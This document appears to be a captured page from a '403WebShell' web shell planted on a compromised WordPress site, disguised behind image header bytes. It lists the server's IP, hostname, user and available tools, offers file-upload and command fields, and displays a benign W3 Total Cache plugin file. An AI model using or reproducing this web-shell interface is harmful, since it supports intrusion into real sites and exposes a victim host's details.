????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.16.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/w3-total-cache/Cache_File_Cleaner.php
<?php
/**
 * File: Cache_File_Cleaner.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class Cache_File_Cleaner
 *
 * phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
 * phpcs:disable PSR2.Classes.PropertyDeclaration.Underscore
 * phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
 * phpcs:disable WordPress.WP.AlternativeFunctions
 */
class Cache_File_Cleaner {
	/**
	 * Cache directory
	 *
	 * @var string
	 */
	protected $_cache_dir = '';

	/**
	 * Clean operation time limit
	 *
	 * @var int
	 */
	protected $_clean_timelimit = 0;

	/**
	 * Exclude files
	 *
	 * @var array
	 */
	protected $_exclude = array();

	/**
	 * PHP5-style constructor
	 *
	 * @param array $config Config.
	 *
	 * @return void
	 */
	public function __construct( $config = array() ) {
		$this->_cache_dir       = ( isset( $config['cache_dir'] ) ? trim( $config['cache_dir'] ) : 'cache' );
		$this->_clean_timelimit = ( isset( $config['clean_timelimit'] ) ? (int) $config['clean_timelimit'] : 180 );
		$this->_exclude         = ( isset( $config['exclude'] ) ? (array) $config['exclude'] : array() );
	}

	/**
	 * Run clean operation
	 *
	 * @return void
	 */
	public function clean() {
		@set_time_limit( $this->_clean_timelimit );

		$this->_clean( $this->_cache_dir, false );
	}

	/**
	 * Run clean operation
	 *
	 * @return void
	 */
	public function clean_before() {
		@set_time_limit( $this->_clean_timelimit );

		$this->_clean( $this->_cache_dir, false );
	}

	/**
	 * Clean
	 *
	 * @param string $path   Path.
	 * @param bool   $remove Remove flag.
	 *
	 * @return void
	 */
	public function _clean( $path, $remove = true ) {
		$dir = @opendir( $path );

		if ( $dir ) {
			while ( ( $entry = @readdir( $dir ) ) !== false ) { // phpcs:ignore WordPress.CodeAnalysis.AssignmentInCondition.FoundInWhileCondition
				if ( '.' === $entry || '..' === $entry ) {
					continue;
				}

				foreach ( $this->_exclude as $mask ) {
					if ( fnmatch( $mask, basename( $entry ) ) ) {
						continue 2;
					}
				}

				$full_path = $path . DIRECTORY_SEPARATOR . $entry;

				if ( @is_dir( $full_path ) ) {
					$this->_clean( $full_path );
				} elseif ( ! $this->is_valid( $full_path ) ) {
					@unlink( $full_path );
				}
			}

			@closedir( $dir );

			if ( $remove ) {
				@rmdir( $path );
			}
		}
	}

	/**
	 * Check if file is valid
	 *
	 * @param string $file File.
	 *
	 * @return bool
	 */
	public function is_valid( $file ) {
		$valid = false;

		if ( file_exists( $file ) ) {
			$fp = @fopen( $file, 'rb' );

			if ( $fp ) {
				$expires = @fread( $fp, 4 );

				if ( false !== $expires ) {
					list( , $expires_at ) = @unpack( 'L', $expires );
					$valid                = ( time() < $expires_at );
				}

				@fclose( $fp );
			}
		}

		return $valid;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit